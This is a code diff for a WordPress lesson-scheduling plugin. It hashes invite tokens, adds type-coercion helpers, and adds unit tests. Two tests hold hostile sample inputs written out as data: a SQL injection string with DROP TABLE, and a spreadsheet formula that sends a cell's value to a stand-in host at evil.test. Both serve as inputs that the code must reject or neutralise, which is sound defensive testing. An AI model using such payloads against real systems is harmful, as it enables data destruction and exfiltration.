 namespace Unsupervised\Schedular;
 
-use Unsupervised\Schedular\Auth\InviteRepository;
 use Unsupervised\Schedular\Auth\LoginPage;
 use Unsupervised\Schedular\Auth\RegistrationPage;
 use Unsupervised\Schedular\Booking\BookingPage;
 use Unsupervised\Schedular\GroupClass\GroupClassPage;
 use Unsupervised\Schedular\Payment\StudioSettings;
-use Unsupervised\Schedular\Policy\AcceptanceRepository;
-use Unsupervised\Schedular\Policy\PolicyRepository;
-use Unsupervised\Schedular\Policy\PolicyVersionRepository;
 
 class ShortcodeRegistrar {
 
-	private BookingPage $bookingPage;
-	private LoginPage $loginPage;
-	private RegistrationPage $registrationPage;
-	private GroupClassPage $groupClassPage;
-
 	public function __construct(
-		InviteRepository $invites,
-		PolicyRepository $policies,
-		PolicyVersionRepository $policyVersions,
-		AcceptanceRepository $acceptances,
-	) {
-		$this->bookingPage      = new BookingPage();
-		$this->loginPage        = new LoginPage();
-		$this->registrationPage = new RegistrationPage( $invites, $policies, $policyVersions, $acceptances );
-		$this->groupClassPage   = new GroupClassPage();
-	}
+		private BookingPage $bookingPage,
+		private LoginPage $loginPage,
+		private RegistrationPage $registrationPage,
+		private GroupClassPage $groupClassPage,
+	) {}
 
 	public function register(): void {
 		add_shortcode( 'us_booking', [ $this->bookingPage, 'render' ] );

src/Val.php

@@ -0,0 +1,60 @@
+<?php
+declare(strict_types=1);
+
+namespace Unsupervised\Schedular;
+
+/**
+ * Runtime coercion helpers for values crossing untyped WordPress boundaries
+ * (wpdb rows, REST request params, superglobals). Each method narrows a mixed
+ * value with an explicit runtime check instead of a blind cast, so an
+ * unexpected shape degrades to a safe default rather than leaking garbage
+ * into typed code.
+ */
+final class Val {
+
+	/**
+	 * Coerce to int; non-numeric values become 0.
+	 */
+	public static function int( mixed $value ): int {
+		return is_numeric( $value ) ? (int) $value : 0;
+	}
+
+	/**
+	 * Coerce to int, preserving null (e.g. nullable DB columns).
+	 */
+	public static function intOrNull( mixed $value ): ?int {
+		return null === $value ? null : self::int( $value );
+	}
+
+	/**
+	 * Coerce to float; non-numeric values become 0.0.
+	 */
+	public static function float( mixed $value ): float {
+		return is_numeric( $value ) ? (float) $value : 0.0;
+	}
+
+	/**
+	 * Coerce to string; non-scalar values become ''.
+	 */
+	public static function string( mixed $value ): string {
+		if ( is_string( $value ) ) {
+			return $value;
+		}
+
+		return is_scalar( $value ) ? (string) $value : '';
+	}
+
+	/**
+	 * Coerce to string, preserving null (e.g. nullable DB columns).
+	 */
+	public static function stringOrNull( mixed $value ): ?string {
+		return null === $value ? null : self::string( $value );
+	}
+
+	/**
+	 * Coerce to bool using PHP truthiness (DB tinyint flags, option values).
+	 */
+	public static function bool( mixed $value ): bool {
+		return (bool) $value;
+	}
+}

templates/admin/invites.php

@@ -9,11 +9,19 @@ if (! defined('ABSPATH')) {
  * @var list<\Unsupervised\Schedular\Auth\Invite> $pendingInvites
  * @var int    $registrationPageId
  * @var string $registrationPageUrl
+ * @var string $newInviteUrl One-time registration link for a just-created invite.
  */
 ?>
 <div class="wrap">
     <h1><?php esc_html_e('Invites', 'unsupervised-schedular'); ?></h1>
-    <p class="description"><?php esc_html_e('Invite a student by email, then send them the registration link below. They complete signup and accept any required policies through the [us_student_register] page.', 'unsupervised-schedular'); ?></p>
+    <p class="description"><?php esc_html_e('Invite a student by email, then send them the registration link. They complete signup and accept any required policies through the [us_student_register] page.', 'unsupervised-schedular'); ?></p>
+
+    <?php if ($newInviteUrl !== '') : ?>
+        <div class="notice notice-success inline">
+            <p><?php esc_html_e('Invite created. Copy the registration link now — for security it is not stored and cannot be shown again. To re-send a lost link, revoke the invite and create a new one.', 'unsupervised-schedular'); ?></p>
+            <p><input type="text" class="large-text code" readonly value="<?php echo esc_attr($newInviteUrl); ?>" onclick="this.select()"></p>
+        </div>
+    <?php endif; ?>
 
     <h2><?php esc_html_e('Registration Page', 'unsupervised-schedular'); ?></h2>
     <form method="post">
@@ -67,15 +75,13 @@ if (! defined('ABSPATH')) {
             <thead>
                 <tr>
                     <th><?php esc_html_e('Email', 'unsupervised-schedular'); ?></th>
-                    <th><?php esc_html_e('Registration link', 'unsupervised-schedular'); ?></th>
+                    <th><?php esc_html_e('Invited', 'unsupervised-schedular'); ?></th>
                     <th><?php esc_html_e('Actions', 'unsupervised-schedular'); ?></th>
                 </tr>
             </thead>
             <tbody>
-                <?php $linkBase = $registrationPageUrl !== '' ? $registrationPageUrl : home_url('/'); ?>
                 <?php $now = current_time('mysql'); ?>
                 <?php foreach ($pendingInvites as $invite) : ?>
-                    <?php $link = esc_url(add_query_arg('us_invite', $invite->token, $linkBase)); ?>
                     <tr>
                         <td>
                             <?php echo esc_html($invite->email); ?>
@@ -84,7 +90,7 @@ if (! defined('ABSPATH')) {
                             <?php endif; ?>
                         </td>
                         <td>
-                            <input type="text" class="large-text code" readonly value="<?php echo esc_attr($link); ?>" onclick="this.select()">
+                            <?php echo esc_html((string) $invite->createdAt); ?>
                         </td>
                         <td>
                             <form method="post" style="display:inline;">

templates/frontend/register-page.php

@@ -7,6 +7,7 @@ if (! defined('ABSPATH')) {
 
 /**
  * @var \Unsupervised\Schedular\Auth\Invite|null $invite
+ * @var string $token Raw invite token from the request (only its hash is stored).
  * @var bool   $canRegister
  * @var bool   $success
  * @var string $error
@@ -25,7 +26,7 @@ if (! defined('ABSPATH')) {
 
         <form method="post" action="">
             <?php wp_nonce_field('us_student_register'); ?>
-            <input type="hidden" name="us_invite" value="<?php echo esc_attr($invite->token); ?>">
+            <input type="hidden" name="us_invite" value="<?php echo esc_attr($token); ?>">
 
             <p>
                 <label for="us-reg-email"><?php esc_html_e('Email', 'unsupervised-schedular'); ?></label>

tests/Unit/Auth/InviteRepositoryTest.php

@@ -48,7 +48,7 @@ class InviteRepositoryTest extends TestCase
     {
         $this->db->shouldReceive('prepare')
             ->once()
-            ->with(Mockery::pattern('/token = %s/'), 'tok123')
+            ->with(Mockery::pattern('/token = %s/'), 'wp_us_invites', 'tok123')
             ->andReturn('SELECT ...');
 
         $this->db->shouldReceive('get_row')->andReturn($this->row());
@@ -71,7 +71,7 @@ class InviteRepositoryTest extends TestCase
     {
         $this->db->shouldReceive('prepare')
             ->once()
-            ->with(Mockery::pattern('/email = %s AND status = %s/'), 'a@b.test', Invite::STATUS_PENDING)
+            ->with(Mockery::pattern('/email = %s AND status = %s/'), 'wp_us_invites', 'a@b.test', Invite::STATUS_PENDING)
             ->andReturn('SELECT ...');
 
         $this->db->shouldReceive('get_row')->andReturn($this->row());
@@ -83,7 +83,7 @@ class InviteRepositoryTest extends TestCase
     {
         $this->db->shouldReceive('prepare')
             ->once()
-            ->with(Mockery::pattern('/status = %s/'), Invite::STATUS_PENDING)
+            ->with(Mockery::pattern('/status = %s/'), 'wp_us_invites', Invite::STATUS_PENDING)
             ->andReturn('SELECT ...');
 
         $this->db->shouldReceive('get_results')->andReturn([$this->row()]);

tests/Unit/Auth/InviteTest.php

@@ -95,6 +95,16 @@ class InviteTest extends TestCase
         self::assertFalse($invite->isAcceptable('2026-06-02 09:00:00'));
     }
 
+    public function testHashTokenIsDeterministicSha256(): void
+    {
+        $hash = Invite::hashToken('raw-token');
+
+        self::assertSame(hash('sha256', 'raw-token'), $hash);
+        self::assertSame($hash, Invite::hashToken('raw-token'));
+        self::assertNotSame($hash, Invite::hashToken('other-token'));
+        self::assertSame(64, strlen($hash));
+    }
+
     public function testToArrayContainsExpectedKeys(): void
     {
         $arr = (new Invite('a@b.test', 'tok', id: 1))->toArray();

tests/Unit/Availability/AvailabilityRepositoryTest.php

@@ -147,11 +147,16 @@ class AvailabilityRepositoryTest extends TestCase
         self::assertFalse($this->repo->delete(1));
     }
 
-    public function testFindAvailableWithNoFiltersUsesNoParams(): void
+    public function testFindAvailableWithNoFiltersPreparesTableOnly(): void
     {
+        $this->db->shouldReceive('prepare')
+            ->once()
+            ->with(Mockery::pattern('/WHERE is_booked = 0/'), ['wp_us_availability'])
+            ->andReturn('SELECT ...');
+
         $this->db->shouldReceive('get_results')
             ->once()
-            ->with(Mockery::pattern('/WHERE is_booked = 0/'))
+            ->with('SELECT ...')
             ->andReturn([]);
 
         $result = $this->repo->findAvailable();
@@ -177,7 +182,7 @@ class AvailabilityRepositoryTest extends TestCase
             ->once()
             ->with(
                 Mockery::pattern('/offering_id = %d AND duration_minutes = %d/'),
-                Mockery::on(static fn (array $p): bool => $p === [8, 30])
+                Mockery::on(static fn (array $p): bool => $p === ['wp_us_availability', 8, 30])
             )
             ->andReturn('SELECT ...');
 

tests/Unit/Availability/AvailabilitySlotTest.php

@@ -64,6 +64,26 @@ class AvailabilitySlotTest extends TestCase
         self::assertTrue($slot->isBooked);
     }
 
+    public function testNormalizeDateTimeAcceptsCanonicalAndDatetimeLocalForms(): void
+    {
+        self::assertSame('2026-04-01 09:00:00', AvailabilitySlot::normalizeDateTime('2026-04-01 09:00:00'));
+        self::assertSame('2026-04-01 09:00:00', AvailabilitySlot::normalizeDateTime('2026-04-01 09:00'));
+        self::assertSame('2026-04-01 09:00:00', AvailabilitySlot::normalizeDateTime('2026-04-01T09:00'));
+        self::assertSame('2026-04-01 09:00:30', AvailabilitySlot::normalizeDateTime('2026-04-01T09:00:30'));
+    }
+
+    public function testNormalizeDateTimeRejectsGarbageAndImpossibleDates(): void
+    {
+        self::assertNull(AvailabilitySlot::normalizeDateTime(''));
+        self::assertNull(AvailabilitySlot::normalizeDateTime('not a date'));
+        self::assertNull(AvailabilitySlot::normalizeDateTime('next tuesday'));
+        self::assertNull(AvailabilitySlot::normalizeDateTime('2026-04-01'));
+        self::assertNull(AvailabilitySlot::normalizeDateTime('2026-13-01 09:00:00'));
+        self::assertNull(AvailabilitySlot::normalizeDateTime('2026-02-30 09:00:00'));
+        self::assertNull(AvailabilitySlot::normalizeDateTime('2026-04-01 25:00:00'));
+        self::assertNull(AvailabilitySlot::normalizeDateTime("2026-04-01 09:00:00'); DROP TABLE x;--"));
+    }
+
     public function testToArrayContainsExpectedKeys(): void
     {
         $slot = new AvailabilitySlot(1, '2026-04-01 09:00:00', '2026-04-01 10:00:00', 30, 8, false, null, 10);

tests/Unit/BlockPreviewTest.php

@@ -0,0 +1,57 @@
+<?php
+declare(strict_types=1);
+
+namespace Unsupervised\Schedular\Tests\Unit;
+
+use Brain\Monkey\Functions;
+use Unsupervised\Schedular\BlockPreview;
+
+class BlockPreviewTest extends TestCase
+{
+    public function testBookingPreviewMirrorsTheLiveMarkup(): void
+    {
+        $html = BlockPreview::booking();
+
+        self::assertStringContainsString('id="us-booking-app"', $html);
+        self::assertStringContainsString('id="us-slot-list"', $html);
+        self::assertStringContainsString('class="us-day"', $html);
+        self::assertStringContainsString('class="us-slot"', $html);
+        self::assertStringContainsString('class="us-book-btn" disabled', $html);
+        self::assertStringContainsString('us-editor-note', $html);
+    }
+
+    public function testGroupClassesPreviewMirrorsTheLiveMarkup(): void
+    {
+        $html = BlockPreview::groupClasses();
+
+        self::assertStringContainsString('id="us-group-app"', $html);
+        self::assertStringContainsString('id="us-group-list"', $html);
+        self::assertStringContainsString('class="us-class"', $html);
+        self::assertStringContainsString('class="us-enrol-btn" disabled', $html);
+        self::assertStringContainsString('us-editor-note', $html);
+    }
+
+    public function testLoginPreviewIncludesTheRealLoginTemplate(): void
+    {
+        Functions\when('wp_nonce_field')->justReturn('');
+
+        $html = BlockPreview::login();
+
+        self::assertStringContainsString('class="us-login-form"', $html);
+        self::assertStringContainsString('name="log"', $html);
+        self::assertStringContainsString('name="pwd"', $html);
+        self::assertStringContainsString('us-editor-note', $html);
+    }
+
+    public function testRegistrationPreviewShowsADisabledSampleForm(): void
+    {
+        $html = BlockPreview::registration();
+
+        self::assertStringContainsString('class="us-register-form"', $html);
+        self::assertStringContainsString('id="us-reg-email"', $html);
+        self::assertStringContainsString('id="us-reg-name"', $html);
+        self::assertStringContainsString('id="us-reg-pass"', $html);
+        self::assertStringContainsString('disabled', $html);
+        self::assertStringContainsString('us-editor-note', $html);
+    }
+}

tests/Unit/BlockRegistrarTest.php

@@ -0,0 +1,167 @@
+<?php
+declare(strict_types=1);
+
+namespace Unsupervised\Schedular\Tests\Unit;
+
+use Brain\Monkey\Actions;
+use Brain\Monkey\Functions;
+use Mockery;
+use Unsupervised\Schedular\Auth\LoginPage;
+use Unsupervised\Schedular\Auth\RegistrationPage;
+use Unsupervised\Schedular\BlockRegistrar;
+use Unsupervised\Schedular\Booking\BookingPage;
+use Unsupervised\Schedular\GroupClass\GroupClassPage;
+
+/**
+ * Test double exposing editor-preview mode as a switch, since the real
+ * detection relies on the REST_REQUEST constant which cannot be toggled
+ * within a single PHP process.
+ */
+class TestableBlockRegistrar extends BlockRegistrar
+{
+    public bool $preview = false;
+
+    protected function isEditorPreview(): bool
+    {
+        return $this->preview;
+    }
+}
+
+class BlockRegistrarTest extends TestCase
+{
+    private BookingPage&Mockery\MockInterface $bookingPage;
+    private LoginPage&Mockery\MockInterface $loginPage;
+    private RegistrationPage&Mockery\MockInterface $registrationPage;
+    private GroupClassPage&Mockery\MockInterface $groupClassPage;
+    private TestableBlockRegistrar $registrar;
+
+    protected function setUp(): void
+    {
+        parent::setUp();
+
+        $this->bookingPage      = Mockery::mock(BookingPage::class);
+        $this->loginPage        = Mockery::mock(LoginPage::class);
+        $this->registrationPage = Mockery::mock(RegistrationPage::class);
+        $this->groupClassPage   = Mockery::mock(GroupClassPage::class);
+
+        $this->registrar = new TestableBlockRegistrar(
+            $this->bookingPage,
+            $this->loginPage,
+            $this->registrationPage,
+            $this->groupClassPage,
+        );
+    }
+
+    public function testRegisterHooksBlockRegistrationOntoInit(): void
+    {
+        Actions\expectAdded('init')->once()->with([$this->registrar, 'registerBlocks']);
+
+        $this->registrar->register();
+    }
+
+    public function testRegisterBlocksRegistersAllFourBlocksWithAssets(): void
+    {
+        Functions\expect('wp_register_script')
+            ->once()
+            ->with(
+                BlockRegistrar::SCRIPT_HANDLE,
+                Mockery::pattern('~assets/js/blocks\.js$~'),
+                Mockery::type('array'),
+                USC_VERSION,
+                true
+            );
+        Functions\when('wp_style_is')->justReturn(false);
+        Functions\expect('wp_register_style')
+            ->once()
+            ->with(
+                BlockRegistrar::STYLE_HANDLE,
+                Mockery::pattern('~assets/css/frontend\.css$~'),
+                [],
+                USC_VERSION
+            );
+
+        $registered = [];
+        Functions\when('register_block_type')->alias(
+            static function (string $name, array $args) use (&$registered): bool {
+                $registered[$name] = $args;
+                return true;
+            }
+        );
+
+        $this->registrar->registerBlocks();
+
+        self::assertSame(
+            [
+                'us-scheduler/booking',
+                'us-scheduler/student-login',
+                'us-scheduler/student-register',
+                'us-scheduler/group-classes',
+            ],
+            array_keys($registered)
+        );
+
+        foreach ($registered as $args) {
+            self::assertSame(BlockRegistrar::SCRIPT_HANDLE, $args['editor_script']);
+            self::assertSame(BlockRegistrar::STYLE_HANDLE, $args['style']);
+            self::assertIsCallable($args['render_callback']);
+        }
+    }
+
+    public function testRegisterBlocksDoesNotReRegisterAnAlreadyRegisteredStyle(): void
+    {
+        Functions\when('wp_register_script')->justReturn(true);
+        Functions\when('wp_style_is')->justReturn(true);
+        Functions\expect('wp_register_style')->never();
+        Functions\when('register_block_type')->justReturn(true);
+
+        $this->registrar->registerBlocks();
+    }
+
+    public function testFrontEndRenderDelegatesToThePageObjects(): void
+    {
+        $this->registrar->preview = false;
+
+        $this->bookingPage->shouldReceive('render')->once()->with([])->andReturn('booking-html');
+        $this->loginPage->shouldReceive('render')->once()->with([])->andReturn('login-html');
+        $this->registrationPage->shouldReceive('render')->once()->with([])->andReturn('register-html');
+        $this->groupClassPage->shouldReceive('render')->once()->with([])->andReturn('group-html');
+
+        self::assertSame('booking-html', $this->registrar->renderBooking());
+        self::assertSame('login-html', $this->registrar->renderLogin());
+        self::assertSame('register-html', $this->registrar->renderRegistration());
+        self::assertSame('group-html', $this->registrar->renderGroupClasses());
+    }
+
+    public function testEditorPreviewRendersStaticMarkupWithoutTouchingThePages(): void
+    {
+        $this->registrar->preview = true;
+
+        Functions\when('wp_nonce_field')->justReturn('');
+
+        $this->bookingPage->shouldNotReceive('render');
+        $this->loginPage->shouldNotReceive('render');
+        $this->registrationPage->shouldNotReceive('render');
+        $this->groupClassPage->shouldNotReceive('render');
+
+        self::assertStringContainsString('us-booking-app', $this->registrar->renderBooking());
+        self::assertStringContainsString('us-login-form', $this->registrar->renderLogin());
+        self::assertStringContainsString('us-register-form', $this->registrar->renderRegistration());
+        self::assertStringContainsString('us-group-app', $this->registrar->renderGroupClasses());
+    }
+
+    public function testIsEditorPreviewIsFalseOutsideRestRequests(): void
+    {
+        // REST_REQUEST is undefined in the test process, so the real
+        // registrar must take the front-end path.
+        $registrar = new BlockRegistrar(
+            $this->bookingPage,
+            $this->loginPage,
+            $this->registrationPage,
+            $this->groupClassPage,
+        );
+
+        $this->bookingPage->shouldReceive('render')->once()->with([])->andReturn('live');
+
+        self::assertSame('live', $registrar->renderBooking());
+    }
+}

tests/Unit/Booking/BookingRepositoryTest.php

@@ -138,7 +138,7 @@ class BookingRepositoryTest extends TestCase
 
         $this->db->shouldReceive('prepare')
             ->once()
-            ->with(Mockery::pattern('/COUNT\(\*\).*l.student_id = %d.*a.start_dt >= %s/s'), 5, Lesson::STATUS_CANCELLED, '2026-06-08 12:00:00')
+            ->with(Mockery::pattern('/COUNT\(\*\).*l.student_id = %d.*a.start_dt >= %s/s'), 'wp_us_lessons', 'wp_us_availability', 5, Lesson::STATUS_CANCELLED, '2026-06-08 12:00:00')
             ->andReturn('SELECT ...');
 
         $this->db->shouldReceive('get_var')->andReturn('3');

tests/Unit/GroupClass/EnrollmentRepositoryTest.php

@@ -48,7 +48,7 @@ class EnrollmentRepositoryTest extends TestCase
     {
         $this->db->shouldReceive('prepare')
             ->once()
-            ->with(Mockery::pattern('/COUNT\(\*\).*offering_id = %d AND status = %s/s'), 7, Enrollment::STATUS_ACTIVE)
+            ->with(Mockery::pattern('/COUNT\(\*\).*offering_id = %d AND status = %s/s'), 'wp_us_group_enrollments', 7, Enrollment::STATUS_ACTIVE)
             ->andReturn('SELECT ...');
 
         $this->db->shouldReceive('get_var')->andReturn('4');
@@ -60,7 +60,7 @@ class EnrollmentRepositoryTest extends TestCase
     {
         $this->db->shouldReceive('prepare')
             ->once()
-            ->with(Mockery::pattern('/student_id = %d AND status = %s/'), 5, Enrollment::STATUS_ACTIVE)
+            ->with(Mockery::pattern('/student_id = %d AND status = %s/'), 'wp_us_group_enrollments', 5, Enrollment::STATUS_ACTIVE)
             ->andReturn('SELECT ...');
 
         $this->db->shouldReceive('get_var')->andReturn('2');
@@ -72,7 +72,7 @@ class EnrollmentRepositoryTest extends TestCase
     {
         $this->db->shouldReceive('prepare')
             ->once()
-            ->with(Mockery::pattern('/offering_id = %d AND student_id = %d AND status = %s/'), 7, 5, Enrollment::STATUS_ACTIVE)
+            ->with(Mockery::pattern('/offering_id = %d AND student_id = %d AND status = %s/'), 'wp_us_group_enrollments', 7, 5, Enrollment::STATUS_ACTIVE)
             ->andReturn('SELECT ...');
 
         $this->db->shouldReceive('get_var')->andReturn('1');

tests/Unit/Offering/OfferingRepositoryTest.php

@@ -109,11 +109,16 @@ class OfferingRepositoryTest extends TestCase
         self::assertSame(3, $offering->instructorId);
     }
 
-    public function testFindAllWithNoFiltersUsesNoParams(): void
+    public function testFindAllWithNoFiltersPreparesTableOnly(): void
     {
+        $this->db->shouldReceive('prepare')
+            ->once()
+            ->with(Mockery::pattern('/WHERE 1 = 1/'), ['wp_us_offerings'])
+            ->andReturn('SELECT ...');
+
         $this->db->shouldReceive('get_results')
             ->once()
-            ->with(Mockery::pattern('/WHERE 1 = 1/'))
+            ->with('SELECT ...')
             ->andReturn([$this->sampleRow()]);
 
         $offerings = $this->repo->findAll();
@@ -126,7 +131,7 @@ class OfferingRepositoryTest extends TestCase
     {
         $this->db->shouldReceive('prepare')
             ->once()
-            ->with(Mockery::pattern('/is_active = %d/'), Mockery::on(static fn (array $p): bool => $p === [1]))
+            ->with(Mockery::pattern('/is_active = %d/'), Mockery::on(static fn (array $p): bool => $p === ['wp_us_offerings', 1]))
             ->andReturn('SELECT ...');
 
         $this->db->shouldReceive('get_results')->andReturn([]);
@@ -140,7 +145,7 @@ class OfferingRepositoryTest extends TestCase
             ->once()
             ->with(
                 Mockery::pattern('/instructor_id = %d AND kind = %s/'),
-                Mockery::on(static fn (array $p): bool => $p === [3, Offering::KIND_GROUP_CLASS])
+                Mockery::on(static fn (array $p): bool => $p === ['wp_us_offerings', 3, Offering::KIND_GROUP_CLASS])
             )
             ->andReturn('SELECT ...');
 

tests/Unit/Payment/PaymentReportTest.php

@@ -80,4 +80,22 @@ class PaymentReportTest extends TestCase
 
         self::assertStringContainsString('"Ada ""The Great"""', $csv);
     }
+
+    public function testCsvNeutralisesFormulaInjectionInNames(): void
+    {
+        $rows = $this->rows();
+        $rows[0]['student']    = '=HYPERLINK("https://evil.test/?"&A1,"total")';
+        $rows[0]['instructor'] = '@SUM(A1)';
+        $rows[1]['student']    = "+1+2";
+        $rows[1]['instructor'] = "\tcmd";
+        $csv  = (new PaymentReport($rows))->toCsv();
+
+        self::assertStringContainsString('"\'=HYPERLINK(""https://evil.test/?""&A1,""total"")"', $csv);
+        self::assertStringContainsString('"\'@SUM(A1)"', $csv);
+        self::assertStringContainsString('"\'+1+2"', $csv);
+        self::assertStringContainsString("\"'\tcmd\"", $csv);
+        // Safe fields are untouched.
+        self::assertStringContainsString('"2026-06-02"', $csv);
+        self::assertStringContainsString('"100.00"', $csv);
+    }
 }

tests/Unit/Payment/PaymentRepositoryTest.php

@@ -66,7 +66,7 @@ class PaymentRepositoryTest extends TestCase
     {
         $this->db->shouldReceive('prepare')
             ->once()
-            ->with(Mockery::pattern('/tax_amount = ROUND\( amount \* %f \/ 100, 2 \)/'), 13.0, 13.0, 50)
+            ->with(Mockery::pattern('/tax_amount = ROUND\( amount \* %f \/ 100, 2 \)/'), 'wp_us_payments', 13.0, 13.0, 50)
             ->andReturn('UPDATE ...');
 
         $this->db->shouldReceive('query')->once()->with('UPDATE ...')->andReturn(1);
@@ -78,7 +78,7 @@ class PaymentRepositoryTest extends TestCase
     {
         $this->db->shouldReceive('prepare')
             ->once()
-            ->with(Mockery::pattern('/status = %s AND paid_at >= %s AND paid_at < %s AND instructor_id = %d/'), ['paid', '2026-06-01 00:00:00', '2026-07-01 00:00:00', 3])
+            ->with(Mockery::pattern('/status = %s AND paid_at >= %s AND paid_at < %s AND instructor_id = %d/'), ['wp_us_payments', 'paid', '2026-06-01 00:00:00', '2026-07-01 00:00:00', 3])
             ->andReturn('SELECT ...');
 
         $this->db->shouldReceive('get_results')->andReturn([$this->row()]);
@@ -90,7 +90,7 @@ class PaymentRepositoryTest extends TestCase
     {
         $this->db->shouldReceive('prepare')
             ->once()
-            ->with(Mockery::on(static fn (string $sql): bool => ! str_contains($sql, 'instructor_id')), ['paid', '2026-06-01 00:00:00', '2026-07-01 00:00:00'])
+            ->with(Mockery::on(static fn (string $sql): bool => ! str_contains($sql, 'instructor_id')), ['wp_us_payments', 'paid', '2026-06-01 00:00:00', '2026-07-01 00:00:00'])
             ->andReturn('SELECT ...');
 
         $this->db->shouldReceive('get_results')->andReturn([]);
@@ -118,7 +118,7 @@ class PaymentRepositoryTest extends TestCase
     {
         $this->db->shouldReceive('prepare')
             ->once()
-            ->with(Mockery::pattern('/stripe_payment_intent_id = %s/'), 'pi_123')
+            ->with(Mockery::pattern('/stripe_payment_intent_id = %s/'), 'wp_us_payments', 'pi_123')
             ->andReturn('SELECT ...');
 
         $this->db->shouldReceive('get_row')->andReturn($this->row());
@@ -138,7 +138,7 @@ class PaymentRepositoryTest extends TestCase
     {
         $this->db->shouldReceive('prepare')
             ->once()
-            ->with(Mockery::pattern('/registration_type = %s AND registration_id = %d/'), Payment::REG_LESSON, 12)
+            ->with(Mockery::pattern('/registration_type = %s AND registration_id = %d/'), 'wp_us_payments', Payment::REG_LESSON, 12)
             ->andReturn('SELECT ...');
 
         $this->db->shouldReceive('get_row')->andReturn($this->row());
@@ -150,7 +150,7 @@ class PaymentRepositoryTest extends TestCase
     {
         $this->db->shouldReceive('prepare')
             ->once()
-            ->with(Mockery::pattern('/status = %s/'), Payment::STATUS_PENDING)
+            ->with(Mockery::pattern('/status = %s/'), 'wp_us_payments', Payment::STATUS_PENDING)
             ->andReturn('SELECT ...');
 
         $this->db->shouldReceive('get_results')->andReturn([$this->row()]);

tests/Unit/Policy/AcceptanceRepositoryTest.php

@@ -70,7 +70,7 @@ class AcceptanceRepositoryTest extends TestCase
     {
         $this->db->shouldReceive('prepare')
             ->once()
-            ->with(Mockery::pattern('/registration_type = %s AND registration_id = %d/'), PolicyAcceptance::REG_LESSON, 12)
+            ->with(Mockery::pattern('/registration_type = %s AND registration_id = %d/'), 'wp_us_policy_acceptances', PolicyAcceptance::REG_LESSON, 12)
             ->andReturn('SELECT ...');
 
         $this->db->shouldReceive('get_results')->andReturn([

tests/Unit/Policy/PolicyRepositoryTest.php

@@ -45,6 +45,7 @@ class PolicyRepositoryTest extends TestCase
             ->once()
             ->with(
                 Mockery::pattern('/acceptance_scope = %s OR acceptance_scope = %s/'),
+                'wp_us_policies',
                 Policy::SCOPE_SIGNUP,
                 Policy::SCOPE_BOTH
             )

tests/Unit/Registration/AnswerRepositoryTest.php

@@ -84,6 +84,7 @@ class AnswerRepositoryTest extends TestCase
             ->once()
             ->with(
                 Mockery::pattern('/registration_type = %s AND registration_id = %d/'),
+                'wp_us_question_answers',
                 Answer::REG_LESSON,
                 12
             )

tests/Unit/Registration/QuestionRepositoryTest.php

@@ -101,7 +101,7 @@ class QuestionRepositoryTest extends TestCase
             ->once()
             ->with(
                 Mockery::pattern('/offering_id = %d AND is_active = %d/'),
-                Mockery::on(static fn (array $p): bool => $p === [7, 1])
+                Mockery::on(static fn (array $p): bool => $p === ['wp_us_questions', 7, 1])
             )
             ->andReturn('SELECT ...');
 

tests/Unit/ValTest.php

@@ -0,0 +1,66 @@
+<?php
+declare(strict_types=1);
+
+namespace Unsupervised\Schedular\Tests\Unit;
+
+use Unsupervised\Schedular\Val;
+
+class ValTest extends TestCase
+{
+    public function testIntCoercesNumericValues(): void
+    {
+        self::assertSame(5, Val::int('5'));
+        self::assertSame(5, Val::int(5));
+        self::assertSame(5, Val::int(5.7));
+        self::assertSame(-3, Val::int('-3'));
+    }
+
+    public function testIntFallsBackToZeroForNonNumeric(): void
+    {
+        self::assertSame(0, Val::int('abc'));
+        self::assertSame(0, Val::int(null));
+        self::assertSame(0, Val::int([]));
+        self::assertSame(0, Val::int(new \stdClass()));
+    }
+
+    public function testIntOrNullPreservesNull(): void
+    {
+        self::assertNull(Val::intOrNull(null));
+        self::assertSame(7, Val::intOrNull('7'));
+        self::assertSame(0, Val::intOrNull('abc'));
+    }
+
+    public function testFloatCoercesNumericValues(): void
+    {
+        self::assertSame(12.5, Val::float('12.5'));
+        self::assertSame(12.0, Val::float(12));
+        self::assertSame(0.0, Val::float('abc'));
+        self::assertSame(0.0, Val::float(null));
+    }
+
+    public function testStringCoercesScalars(): void
+    {
+        self::assertSame('hello', Val::string('hello'));
+        self::assertSame('5', Val::string(5));
+        self::assertSame('1', Val::string(true));
+        self::assertSame('', Val::string(null));
+        self::assertSame('', Val::string([]));
+        self::assertSame('', Val::string(new \stdClass()));
+    }
+
+    public function testStringOrNullPreservesNull(): void
+    {
+        self::assertNull(Val::stringOrNull(null));
+        self::assertSame('x', Val::stringOrNull('x'));
+        self::assertSame('', Val::stringOrNull([]));
+    }
+
+    public function testBoolUsesTruthiness(): void
+    {
+        self::assertTrue(Val::bool('1'));
+        self::assertTrue(Val::bool(1));
+        self::assertFalse(Val::bool('0'));
+        self::assertFalse(Val::bool(''));
+        self::assertFalse(Val::bool(null));
+    }
+}

unsupervised-schedular.php

@@ -4,7 +4,7 @@
  * Plugin URI:  https://unsupervised.ca
  * Description: Instructor/student lesson scheduling for WordPress.
  * Version:     1.0.0-rc.1
- * Requires at least: 6.0
+ * Requires at least: 6.2
  * Requires PHP: 8.1
  * Author:      Unsupervised
  * License:     GPL-2.0-or-later